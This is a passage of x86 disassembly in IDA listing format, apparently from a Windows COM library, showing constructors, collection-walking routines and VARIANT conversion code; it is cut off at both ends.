push esi
mov esi, ecx
push edi
lea eax, [esi+48h]
lea edi, [esi+0Ch]
push eax
mov dword ptr [esi], offset off_69B14500
mov dword ptr [edi], offset off_69B14498
call sub_69B17230
lea eax, [esi+44h]
push eax
call sub_69B17230
lea eax, [esi+40h]
push eax
call sub_69B2DEDD
lea eax, [esi+3Ch]
push eax
call sub_69B17230
lea eax, [esi+2Ch]
push eax
call sub_69B17230
lea eax, [esi+28h]
push eax
call sub_69B17230
lea eax, [esi+24h]
push eax
call sub_69B17230
lea eax, [esi+20h]
push eax
call sub_69B17230
lea eax, [esi+1Ch]
push eax
call sub_69B17230
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
mov ecx, edi
call sub_69B18700
pop edi
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B7937D endp
; =============== S U B R O U T I N E =======================================
sub_69B7940C proc near ; CODE XREF: sub_69B79636+3j
; DATA XREF: .text:69B14534o
push esi
mov esi, ecx
push 0
lea eax, [esi+48h]
push eax
call sub_69B17320
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B7940C endp
; =============== S U B R O U T I N E =======================================
sub_69B79422 proc near ; DATA XREF: .text:69B144F0o
arg_0 = dword ptr 4
lea eax, [ecx+38h]
mov ecx, [eax]
cmp ecx, [esp+arg_0]
jnz short locret_69B79435
push 0
push eax
call sub_69B17320
locret_69B79435: ; CODE XREF: sub_69B79422+9j
retn 4
sub_69B79422 endp
; =============== S U B R O U T I N E =======================================
sub_69B79438 proc near ; CODE XREF: sub_69B79458+58p
; sub_69B79659+C3p ...
push esi
mov esi, ecx
lea eax, [esi+14h]
push eax
lea ecx, [esi+24h]
call sub_69B4D414
push 0
lea eax, [esi+20h]
push eax
call sub_69B17320
or dword ptr [esi+38h], 0FFFFFFFFh
pop esi
retn
sub_69B79438 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B79458 proc near ; CODE XREF: sub_69B79731+26p
; sub_69B79A18+36p ...
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_0]
push esi
mov esi, ecx
mov eax, [esi+38h]
lea ecx, [ebx-1]
cmp eax, ecx
jz loc_69B794F0
cmp dword ptr [esi+20h], 0
push edi
jz short loc_69B794AE
lea ecx, [ebx-2]
cmp eax, ecx
jnz short loc_69B794AE
lea edi, [esi+24h]
mov edx, [edi]
test edx, edx
jz short loc_69B794A9
mov ecx, [esi+14h]
mov eax, [esi+28h]
mov ebx, [ecx]
push edx
push 0
push eax
call dword ptr [ebx+98h]
push eax
push edi
call sub_69B17320
push edi
lea ecx, [esi+20h]
call sub_69B4D414
loc_69B794A9: ; CODE XREF: sub_69B79458+2Dj
inc dword ptr [esi+38h]
jmp short loc_69B794EF
; ---------------------------------------------------------------------------
loc_69B794AE: ; CODE XREF: sub_69B79458+1Dj
; sub_69B79458+24j
mov ecx, esi
call sub_69B79438
test ebx, ebx
jle short loc_69B794EF
lea edi, [esi+24h]
mov [ebp+arg_0], ebx
loc_69B794BF: ; CODE XREF: sub_69B79458+95j
mov edx, [edi]
test edx, edx
jz short loc_69B794E7
mov ecx, [esi+14h]
mov eax, [esi+28h]
mov ebx, [ecx]
push edx
push 0
push eax
call dword ptr [ebx+98h]
push eax
push edi
call sub_69B17320
push edi
lea ecx, [esi+20h]
call sub_69B4D414
loc_69B794E7: ; CODE XREF: sub_69B79458+6Bj
inc dword ptr [esi+38h]
dec [ebp+arg_0]
jnz short loc_69B794BF
loc_69B794EF: ; CODE XREF: sub_69B79458+54j
; sub_69B79458+5Fj
pop edi
loc_69B794F0: ; CODE XREF: sub_69B79458+12j
mov eax, [esi+20h]
pop esi
pop ebx
pop ebp
retn 4
sub_69B79458 endp
; =============== S U B R O U T I N E =======================================
sub_69B794F9 proc near ; CODE XREF: sub_69B79B41+186p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
push [esp+8+arg_4]
mov edi, ecx
call sub_69B7925C
mov esi, eax
test esi, esi
jnz short loc_69B79573
lea esi, [edi+48h]
mov ecx, [esi]
test ecx, ecx
push ebx
jnz short loc_69B79538
push 18h
xor ebx, ebx
call sub_69B17EF3
mov edi, eax
mov ecx, edi
mov dword ptr [edi+8], 1
call sub_69B19118
mov dword ptr [edi], offset off_69B14458
push edi
jmp short loc_69B79545
; ---------------------------------------------------------------------------
loc_69B79538: ; CODE XREF: sub_69B794F9+1Bj
mov ebx, [ecx+8]
lea eax, [ebx+1]
push eax
call sub_69B792D7
push eax
loc_69B79545: ; CODE XREF: sub_69B794F9+3Dj
push esi
call sub_69B17320
mov esi, [esi]
push ebx
mov ecx, esi
call sub_69B79148
push 0
mov esi, eax
mov eax, [esp+10h+arg_4]
push 1
push 5
mov [esi], eax
call sub_69B315DA
push eax
lea eax, [esi+4]
push eax
call sub_69B17320
pop ebx
loc_69B79573: ; CODE XREF: sub_69B794F9+11j
push [esp+8+arg_8]
mov ecx, [esi+4]
push [esp+0Ch+arg_0]
call sub_69B3182D
pop edi
pop esi
retn 0Ch
sub_69B794F9 endp
; =============== S U B R O U T I N E =======================================
sub_69B79588 proc near ; CODE XREF: sub_69B773BE+4Bp
; sub_69B79588+79p ...
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
lea edi, [esi+2Ch]
push ebp
loc_69B79593: ; CODE XREF: sub_69B79588+31j
mov eax, [edi]
mov ecx, [esi+14h]
mov edx, [esi+28h]
mov ebp, [ecx]
push eax
push 0
push edx
call dword ptr [ebp+98h]
test eax, eax
jz short loc_69B795BB
test byte ptr [eax+0Ah], 1
jz short loc_69B795BB
push eax
push edi
inc ebx
call sub_69B17320
jmp short loc_69B79593
; ---------------------------------------------------------------------------
loc_69B795BB: ; CODE XREF: sub_69B79588+21j
; sub_69B79588+27j
test ebx, ebx
pop ebp
jle short loc_69B795D6
mov eax, [esi+44h]
test eax, eax
jz short loc_69B795D3
mov edx, [esi+34h]
mov ecx, [eax]
push ebx
inc edx
push edx
push eax
call dword ptr [ecx+24h]
loc_69B795D3: ; CODE XREF: sub_69B79588+3Dj
add [esi+34h], ebx
loc_69B795D6: ; CODE XREF: sub_69B79588+36j
mov esi, [esi+48h]
test esi, esi
jz short loc_69B79617
mov eax, [esi+8]
test eax, eax
jle short loc_69B79617
lea edi, [esi+10h]
mov ebx, eax
loc_69B795E9: ; CODE XREF: sub_69B79588+8Dj
mov eax, [edi]
push 1
push eax
call sub_69B3156E
mov esi, eax
jmp short loc_69B79606
; ---------------------------------------------------------------------------
loc_69B795F7: ; CODE XREF: sub_69B79588+87j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+40h]
mov ecx, [eax+10h]
call sub_69B79588
loc_69B79606: ; CODE XREF: sub_69B79588+6Dj
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
test al, al
jnz short loc_69B795F7
add edi, 8
dec ebx
jnz short loc_69B795E9
loc_69B79617: ; CODE XREF: sub_69B79588+53j
; sub_69B79588+5Aj
pop edi
pop esi
pop ebx
retn
sub_69B79588 endp
; =============== S U B R O U T I N E =======================================
sub_69B7961B proc near ; DATA XREF: .text:69B14494o
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [eax]
mov ecx, [esp+arg_0]
mov [ecx], edx
push dword ptr [eax+4]
add ecx, 4
push ecx
call sub_69B17320
retn 8
sub_69B7961B endp
; =============== S U B R O U T I N E =======================================
sub_69B79636 proc near ; DATA XREF: .text:69B144CCo
sub ecx, 0Ch
jmp sub_69B7940C
sub_69B79636 endp
; =============== S U B R O U T I N E =======================================
sub_69B7963E proc near ; CODE XREF: sub_69B79316+3j
; DATA XREF: .text:69B1450Co
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B7937D
test [esp+4+arg_0], 1
jz short loc_69B79653
push esi
call sub_69B1829F
loc_69B79653: ; CODE XREF: sub_69B7963E+Dj
mov eax, esi
pop esi
retn 4
sub_69B7963E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B79659 proc near ; CODE XREF: sub_69B782DC+10Fp
; sub_69B79B41+153p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, ecx
call sub_69B18654
lea esi, [edi+0Ch]
mov ecx, esi
call sub_69B1818F
push [ebp+arg_0]
mov dword ptr [esi], offset off_69B14498
mov dword ptr [edi], offset off_69B14500
xor esi, esi
lea ebx, [edi+10h]
mov [ebx], esi
mov [edi+14h], esi
mov [edi+18h], esi
mov [edi+1Ch], esi
mov [edi+20h], esi
mov [edi+24h], esi
mov [edi+28h], esi
mov [edi+2Ch], esi
mov [edi+3Ch], esi
mov [edi+40h], esi
mov [edi+44h], esi
push ebx
mov [edi+48h], esi
call sub_69B17320
push [ebp+arg_4]
lea eax, [edi+14h]
push eax
call sub_69B17320
push [ebp+arg_8]
lea eax, [edi+18h]
push eax
call sub_69B17320
push [ebp+arg_C]
lea eax, [edi+1Ch]
push eax
call sub_69B17320
push [ebp+arg_10]
lea eax, [edi+40h]
push eax
call sub_69B2DEB2
mov al, [ebp+arg_14]
mov [edi+4Ch], al
mov eax, [ebx]
cmp dword ptr [eax+40h], 4
jnz short loc_69B796EE
mov [edi+30h], esi
loc_69B796EE: ; CODE XREF: sub_69B79659+90j
mov esi, [edi+1Ch]
call sub_69B79336
push eax
lea esi, [edi+3Ch]
push esi
call sub_69B17320
mov eax, [esi]
push dword ptr [eax+8]
lea eax, [edi+28h]
push eax
call sub_69B17320
lea eax, [edi+14h]
push eax
lea ecx, [edi+2Ch]
call sub_69B4D414
mov ecx, edi
call sub_69B79438
mov ecx, edi
call sub_69B79588
mov eax, edi
pop edi
pop esi
pop ebx
pop ebp
retn 18h
sub_69B79659 endp
; =============== S U B R O U T I N E =======================================
sub_69B79731 proc near ; DATA XREF: .text:69B144E0o
push 38h
push offset dword_69B79A00
call sub_69B19C5C
mov edi, ecx
cmp byte ptr [edi+40h], 0
jz short loc_69B7974F
push 80004005h
call sub_69B2E8B8
loc_69B7974F: ; CODE XREF: sub_69B79731+12j
lea esi, [edi-0Ch]
push dword ptr [ebp+8]
mov ecx, esi
call sub_69B79458
cmp dword ptr [edi+14h], 0
jnz short loc_69B7976C
push 80004005h
call sub_69B2E8B8
loc_69B7976C: ; CODE XREF: sub_69B79731+2Fj
mov eax, [edi+10h]
mov ecx, [ebp+0Ch]
dec ecx
push ecx
push eax
mov ecx, esi
call sub_69B790A4
mov esi, eax
mov eax, dword_69B95A84
mov ebx, eax
cmp dword ptr [eax+8], 18h
jg short loc_69B79790
call sub_69B2E6D8
loc_69B79790: ; CODE XREF: sub_69B79731+58j
mov ebx, [ebx+6Ch]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, ebx
jnz loc_69B799F7
call sub_69B79336
mov ebx, eax
test ebx, ebx
jz loc_69B799F7
mov eax, dword_69B95A84
mov [ebp-1Ch], eax
cmp dword ptr [eax+8], 1Dh
jg short loc_69B797C4
call sub_69B2E6D8
loc_69B797C4: ; CODE XREF: sub_69B79731+8Cj
mov eax, [ebp-1Ch]
mov eax, [eax+80h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
jz short loc_69B79838
lea eax, [ebp-2Ch]
push eax ; pvarg
call VariantInit
push 8 ; vt
push 1 ; wFlags
call ds:GetSystemDefaultLCID ; GetSystemDefaultLCID
push eax ; lcid
lea eax, [ebp+14h]
push eax ; pvarSrc
lea eax, [ebp-2Ch]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jnz loc_69B799F1
mov edi, [edi+14h]
and [ebp-4], eax
push eax ; int
push dword ptr [ebp-24h] ; lpString
mov ecx, edi
call sub_69B4CD61
lea eax, [ebp-2Ch]
push eax ; pvarg
call VariantClear
jmp loc_69B799CE
; ---------------------------------------------------------------------------
loc_69B79827: ; DATA XREF: .text:69B79A04o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B79830: ; DATA XREF: .text:69B79A08o
lea eax, [ebp-2Ch]
jmp loc_69B799E0
; ---------------------------------------------------------------------------
loc_69B79838: ; CODE XREF: sub_69B79731+A9j
mov eax, dword_69B95A84
mov [ebp-30h], eax
cmp dword ptr [eax+8], 1Ch
jg short loc_69B7984B
call sub_69B2E6D8
loc_69B7984B: ; CODE XREF: sub_69B79731+113j
mov eax, [ebp-30h]
mov eax, [eax+7Ch]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
jz short loc_69B798AA
cmp dword ptr [ebp+10h], 1
jz short loc_69B7988E
cmp word ptr [ebp+14h], 8
jz short loc_69B7988E
cmp dword ptr [ebp+10h], 0
jnz loc_69B799F7
mov ecx, [edi+14h]
mov eax, [ecx]
lea edx, [ebp+14h]
push edx
push dword ptr [ebx+8]
call dword ptr [eax+0CCh]
jmp loc_69B799F7
; ---------------------------------------------------------------------------
loc_69B7988E: ; CODE XREF: sub_69B79731+133j
; sub_69B79731+13Aj
push dword ptr [ebp+1Ch] ; lpString
call sub_69B1A587
mov ecx, [edi+14h]
mov edx, [ecx]
push eax
push dword ptr [ebx+8]
call dword ptr [edx+0ACh]
jmp loc_69B799F7
; ---------------------------------------------------------------------------
loc_69B798AA: ; CODE XREF: sub_69B79731+12Dj
mov eax, [ebx+8]
mov ecx, [edi+14h]
push eax
push ecx
lea ecx, [edi-0Ch]
call sub_69B790D2
mov esi, eax
xor eax, eax
cmp esi, eax
jnz short loc_69B798DD
mov ecx, [edi+4]
push 1
push eax
push eax
push ebx
push eax
call sub_69B3D2F2
mov esi, eax
mov ecx, [edi+14h]
mov eax, [ecx]
push 0
push esi
call dword ptr [eax+7Ch]
loc_69B798DD: ; CODE XREF: sub_69B79731+18Fj
test esi, esi
jz loc_69B799F7
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B8h]
test al, al
mov eax, [esi]
jz short loc_69B79906
loc_69B798F5: ; CODE XREF: sub_69B79731+250j
lea ecx, [ebp+14h]
push ecx
mov ecx, esi
call dword ptr [eax+0C4h]
jmp loc_69B799F7
; ---------------------------------------------------------------------------
loc_69B79906: ; CODE XREF: sub_69B79731+1C2j
mov ecx, esi
call dword ptr [eax+70h]
xor ebx, ebx
cmp eax, ebx
jnz short loc_69B7992E
mov ecx, [edi+4]
xor edi, edi
inc edi
push edi
push ebx
push ebx
push ebx
push edi
call sub_69B3D2F2
mov edx, [esi]
push ebx
push eax
mov ecx, esi
call dword ptr [edx+7Ch]
mov eax, edi
jmp short loc_69B79931
; ---------------------------------------------------------------------------
loc_69B7992E: ; CODE XREF: sub_69B79731+1DEj
xor edi, edi
inc edi
loc_69B79931: ; CODE XREF: sub_69B79731+1FBj
cmp eax, edi
jnz loc_69B799F7
mov eax, [esi]
lea ecx, [ebp-34h]
push ecx
mov ecx, esi
call dword ptr [eax+68h]
mov esi, eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+44h]
cmp eax, edi
jnz loc_69B799F7
cmp word ptr [ebp+14h], 8
jnz short loc_69B79971
push dword ptr [ebp+1Ch] ; lpString
call sub_69B1A587
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+5Ch]
jmp loc_69B799F7
; ---------------------------------------------------------------------------
loc_69B79971: ; CODE XREF: sub_69B79731+229j
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+0B8h]
test al, al
jz short loc_69B79986
mov eax, [esi]
jmp loc_69B798F5
; ---------------------------------------------------------------------------
loc_69B79986: ; CODE XREF: sub_69B79731+24Cj
lea eax, [ebp-44h]
push eax ; pvarg
call VariantInit
push 8 ; vt
push edi ; wFlags
call ds:GetSystemDefaultLCID ; GetSystemDefaultLCID
push eax ; lcid
lea eax, [ebp+14h]
push eax ; pvarSrc
lea eax, [ebp-44h]
push eax ; pvargDest
call VariantChangeTypeEx
cmp eax, ebx
jnz short loc_69B799F1
mov [ebp-4], edi
push dword ptr [ebp-3Ch] ; lpString
call sub_69B1A587
mov [ebp-48h], eax
lea eax, [ebp-44h]
push eax ; pvarg
call VariantClear
mov eax, [esi]
push dword ptr [ebp-48h]
mov ecx, esi
call dword ptr [eax+5Ch]
loc_69B799CE: ; CODE XREF: sub_69B79731+F1j
; sub_69B79731+2BEj
or dword ptr [ebp-4], 0FFFFFFFFh
jmp short loc_69B799F7
; ---------------------------------------------------------------------------
loc_69B799D4: ; DATA XREF: .text:69B79A10o
push dword ptr [ebp-14h]
call sub_69B2E94A
retn
; ---------------------------------------------------------------------------
loc_69B799DD: ; DATA XREF: .text:69B79A14o
lea eax, [ebp-44h]
loc_69B799E0: ; CODE XREF: sub_69B79731+102j
mov esp, [ebp-18h]
push eax ; pvarg
call VariantClear
call sub_69B2E860
jmp short loc_69B799CE
; ---------------------------------------------------------------------------
loc_69B799F1: ; CODE XREF: sub_69B79731+D0j
; sub_69B79731+279j
push eax
call sub_69B2E8B8
loc_69B799F7: ; CODE XREF: sub_69B79731+6Bj
; sub_69B79731+7Aj ...
call sub_69B1853C
retn 1Ch
sub_69B79731 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B79A00 dd 0FFFFFFFFh dd offset loc_69B79827
dd offset loc_69B79830
dd 0FFFFFFFFh
dd offset loc_69B799D4
dd offset loc_69B799DD
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B79A18 proc near ; DATA XREF: .text:69B144E4o
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push esi
mov esi, ecx
cmp byte ptr [esi+40h], 0
jz short loc_69B79A33
push 80004005h
call sub_69B2E8B8
loc_69B79A33: ; CODE XREF: sub_69B79A18+Fj
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_4]
add eax, ecx
cmp ecx, eax
jge short loc_69B79A77
push ebx
sub eax, ecx
push edi
lea edi, [esi-0Ch]
mov [ebp+arg_4], eax
loc_69B79A49: ; CODE XREF: sub_69B79A18+5Bj
push [ebp+arg_0]
mov ecx, edi
call sub_69B79458
mov ebx, eax
test ebx, ebx
jz short loc_69B79A70
mov ecx, [esi+8]
mov eax, [ecx]
inc [ebp+var_4]
push ebx
call dword ptr [eax+84h]
push ebx
mov ecx, edi
call sub_69B792AC
loc_69B79A70: ; CODE XREF: sub_69B79A18+3Fj
dec [ebp+arg_4]
jnz short loc_69B79A49
pop edi
pop ebx
loc_69B79A77: ; CODE XREF: sub_69B79A18+25j
lea ecx, [esi-0Ch]
call sub_69B79438
mov eax, [ebp+var_4]
pop esi
leave
retn 8
sub_69B79A18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B79A87 proc near ; DATA XREF: .text:69B144E8o
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, ecx
cmp byte ptr [esi+40h], 0
push edi
jz short loc_69B79A9F
push 80004005h
call sub_69B2E8B8
loc_69B79A9F: ; CODE XREF: sub_69B79A87+Cj
mov edi, [ebp+arg_0]
mov eax, [ebp+arg_4]
lea ebx, [eax+edi]
jmp short loc_69B79AD3
; ---------------------------------------------------------------------------
loc_69B79AAA: ; CODE XREF: sub_69B79A87+4Ej
mov eax, [esi+30h]
mov ecx, [esi+4]
push 1
xor edx, edx
push edx
push edx
push eax
push edx
call sub_69B3D2F2
mov ecx, [esi+8]
lea edx, [edi-1]
mov [ebp+arg_0], eax
mov eax, [ecx]
push edx
push [ebp+arg_0]
call dword ptr [eax+80h]
inc edi
loc_69B79AD3: ; CODE XREF: sub_69B79A87+21j
cmp edi, ebx
jl short loc_69B79AAA
lea ecx, [esi-0Ch]
call sub_69B79438
mov eax, [ebp+arg_4]
pop edi
pop esi
pop ebx
pop ebp
retn 8
sub_69B79A87 endp
; =============== S U B R O U T I N E =======================================
sub_69B79AE9 proc near ; CODE XREF: sub_69B77375+38p
; sub_69B79B12+26p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
cmp dword ptr [esi+44h], 0
mov [esi+30h], eax
jz short loc_69B79B0E
test eax, eax
jnz short loc_69B79B02
call sub_69B79588
loc_69B79B02: ; CODE XREF: sub_69B79AE9+12j
mov eax, [esi+44h]
push dword ptr [esi+30h]
mov ecx, [eax]
push eax
call dword ptr [ecx+28h]
loc_69B79B0E: ; CODE XREF: sub_69B79AE9+Ej
pop esi
retn 4
sub_69B79AE9 endp
; =============== S U B R O U T I N E =======================================
sub_69B79B12 proc near ; DATA XREF: .text:69B144FCo
push ebx
push esi
push edi
mov eax, 0C00CE216h
push 0
mov esi, ecx
mov edi, [esi+4]
mov ebx, [edi]
push eax
push eax
call sub_69B2E8CC
add esp, 0Ch
push eax
mov ecx, edi
call dword ptr [ebx+64h]
push 1
lea ecx, [esi-0Ch]
call sub_69B79AE9
pop edi
pop esi
pop ebx
retn
sub_69B79B12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B79B41 proc near ; CODE XREF: sub_69B79D26+EFp
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
push [ebp+arg_4]
mov edi, ecx
mov eax, [edi+1Ch]
push eax
call sub_69B790A4
mov esi, eax
call sub_69B79336
mov ebx, eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 18h
mov [ebp+var_4], eax
jg short loc_69B79B72
call sub_69B2E6D8
loc_69B79B72: ; CODE XREF: sub_69B79B41+2Aj
mov eax, [ebp+var_4]
mov eax, [eax+6Ch]
mov [ebp+var_4], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, [ebp+var_4]
jnz loc_69B79C5C
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Dh
mov [ebp+arg_4], eax
jg short loc_69B79B9E
call sub_69B2E6D8
loc_69B79B9E: ; CODE XREF: sub_69B79B41+56j
mov eax, [ebp+arg_4]
mov eax, [eax+80h]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
jz short loc_69B79BDF
mov esi, [ebp+arg_8]
mov ecx, [ebp+arg_0]
push 0
mov word ptr [esi], 8
mov eax, [ecx]
push 1
call dword ptr [eax+4Ch]
push dword ptr [eax+8] ; UINT
mov ecx, [eax+0Ch]
push ecx ; OLECHAR *
call SysAllocStringLen
mov [esi+8], eax
jmp loc_69B79CE3
; ---------------------------------------------------------------------------
loc_69B79BDF: ; CODE XREF: sub_69B79B41+73j
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Ch
mov [ebp+arg_4], eax
jg short loc_69B79BF2
call sub_69B2E6D8
loc_69B79BF2: ; CODE XREF: sub_69B79B41+AAj
mov eax, [ebp+arg_4]
mov eax, [eax+7Ch]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
jz short loc_69B79C35
mov eax, [ebx+8]
mov esi, [ebp+arg_0]
mov edx, [esi]
push eax
mov ecx, esi
call dword ptr [edx+0A4h]
test eax, eax
jz loc_69B79CE3
push [ebp+arg_8]
mov eax, [esi]
push dword ptr [ebx+8]
mov ecx, esi
call dword ptr [eax+0C8h]
jmp loc_69B79CE3
; ---------------------------------------------------------------------------
loc_69B79C35: ; CODE XREF: sub_69B79B41+C4j
push dword ptr [ebx+8]
mov ecx, edi
push [ebp+arg_0]
call sub_69B790D2
test eax, eax
jz loc_69B79CE3
push [ebp+arg_8]
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+0C0h]
jmp loc_69B79CE3
; ---------------------------------------------------------------------------
loc_69B79C5C: ; CODE XREF: sub_69B79B41+44j
push [ebp+arg_4]
mov ecx, edi
push [ebp+arg_0]
call sub_69B79286
mov ebx, eax
test ebx, ebx
jnz short loc_69B79CD2
push 50h
call sub_69B17EF3
test eax, eax
mov [ebp+arg_0], eax
jz short loc_69B79C9D
mov edx, [edi+18h]
mov ebx, [edi+20h]
mov ecx, [edi+10h]
xor eax, eax
mov al, [edi+4Ch]
push eax
push edi
push esi
push edx
push ebx
push ecx
mov ecx, [ebp+arg_0]
call sub_69B79659
mov esi, eax
jmp short loc_69B79C9F
; ---------------------------------------------------------------------------
loc_69B79C9D: ; CODE XREF: sub_69B79B41+13Aj
xor esi, esi
loc_69B79C9F: ; CODE XREF: sub_69B79B41+15Aj
push 18h
call sub_69B1D897
test eax, eax
jz short loc_69B79CBC
mov ecx, [edi+10h]
push dword ptr [ecx+3Ch]
mov ecx, eax
push esi
call sub_69B1699C
mov ebx, eax
jmp short loc_69B79CBE
; ---------------------------------------------------------------------------
loc_69B79CBC: ; CODE XREF: sub_69B79B41+167j
xor ebx, ebx
loc_69B79CBE: ; CODE XREF: sub_69B79B41+179j
push ebx
push [ebp+arg_4]
mov ecx, edi
push dword ptr [esi+14h]
call sub_69B794F9
mov eax, [ebx]
push ebx
call dword ptr [eax+8]
loc_69B79CD2: ; CODE XREF: sub_69B79B41+12Cj
mov esi, [ebp+arg_8]
mov word ptr [esi], 0Dh
mov eax, [ebx]
push ebx
call dword ptr [eax+4]
mov [esi+8], ebx
loc_69B79CE3: ; CODE XREF: sub_69B79B41+99j
; sub_69B79B41+D9j ...
pop edi
pop esi
pop ebx
leave
retn 0Ch
sub_69B79B41 endp
; =============== S U B R O U T I N E =======================================
sub_69B79CEA proc near ; DATA XREF: .text:69B1448Co
push esi
mov esi, ecx
mov eax, [esi+8]
test eax, eax
push edi
lea edi, [esi+0Ch]
jz short loc_69B79D09
push ebx
mov ebx, eax
loc_69B79CFB: ; CODE XREF: sub_69B79CEA+1Cj
mov ecx, edi
call sub_69B79D12
add edi, 8
dec ebx
jnz short loc_69B79CFB
pop ebx
loc_69B79D09: ; CODE XREF: sub_69B79CEA+Cj
pop edi
mov ecx, esi
pop esi
jmp nullsub_5
sub_69B79CEA endp
; =============== S U B R O U T I N E =======================================
sub_69B79D12 proc near ; CODE XREF: sub_69B79CEA+13p
push esi
lea esi, [ecx+4]
push 0
push esi
call sub_69B17320
push esi
call sub_69B17230
pop esi
retn
sub_69B79D12 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __stdcall sub_69B79D26(int, int, int, VARIANTARG *pvarg)
sub_69B79D26 proc near ; DATA XREF: .text:69B144DCo
pvargDest = VARIANTARG ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
pvarg = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
push ebx
push esi
push edi
mov edi, [ebp+pvarg]
and dword ptr [edi+8], 0
cmp [ebp+arg_0], 0
mov esi, ecx
mov word ptr [edi], 1
jnz loc_69B79DED
mov eax, [esi]
call dword ptr [eax+3Ch]
mov ecx, [ebp+arg_4]
cmp ecx, eax
jg loc_69B79E5B
mov eax, [esi+10h]
dec ecx
push ecx
push eax
lea ecx, [esi-0Ch]
call sub_69B790A4
mov esi, eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 1Ah
mov ebx, eax
jg short loc_69B79D79
call sub_69B2E6D8
loc_69B79D79: ; CODE XREF: sub_69B79D26+4Cj
mov ebx, [ebx+74h]
mov eax, [esi]
push ebx
mov ecx, esi
call dword ptr [eax+0A4h]
test eax, eax
jz loc_69B79E5B
mov edx, [eax]
mov ecx, eax
call dword ptr [edx+2Ch]
mov ebx, eax
mov eax, dword_69B95A84
cmp dword ptr [eax+8], 19h
mov [ebp+arg_0], eax
jg short loc_69B79DAB
call sub_69B2E6D8
loc_69B79DAB: ; CODE XREF: sub_69B79D26+7Ej
mov eax, [ebp+arg_0]
mov eax, [eax+70h]
mov [ebp+arg_0], eax
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+38h]
cmp eax, [ebp+arg_0]
jnz short loc_69B79DD9
push 0
call sub_69B79137
push eax
push ebx
call sub_69B79137
push eax
call sub_69B2F2CA
add esp, 10h
mov ebx, eax
loc_69B79DD9: ; CODE XREF: sub_69B79D26+98j
mov word ptr [edi], 8
push dword ptr [ebx+8] ; UINT
mov eax, [ebx+0Ch]
push eax ; OLECHAR *
call SysAllocStringLen
jmp short loc_69B79E58
; ---------------------------------------------------------------------------
loc_69B79DED: ; CODE XREF: sub_69B79D26+1Bj
push [ebp+arg_0]
lea ebx, [esi-0Ch]
mov ecx, ebx
call sub_69B79458
cmp dword ptr [esi+14h], 0
jnz short loc_69B79E0A
push 80004005h
call sub_69B2E8B8
loc_69B79E0A: ; CODE XREF: sub_69B79D26+D8j
mov eax, [ebp+arg_4]
push edi
dec eax
push eax
push dword ptr [esi+14h]
mov ecx, ebx
call sub_69B79B41
cmp [ebp+arg_8], 1
jnz short loc_69B79E5B
cmp word ptr [edi], 8
jz short loc_69B79E5B
and word ptr [ebp+pvargDest.anonymous_0], 0
push 8 ; vt
push 1 ; wFlags
call ds:GetSystemDefaultLCID ; GetSystemDefaultLCID
push eax ; lcid
push edi ; pvarSrc
lea eax, [ebp+pvargDest]
push eax ; pvargDest
call VariantChangeTypeEx
test eax, eax
jge short loc_69B79E49
and dword ptr [ebp+pvargDest.anonymous_0+8], 0
loc_69B79E49: ; CODE XREF: sub_69B79D26+11Dj
push edi ; pvarg
call VariantClear
mov eax, dword ptr [ebp+pvargDest.anonymous_0+8]
mov word ptr [edi], 8
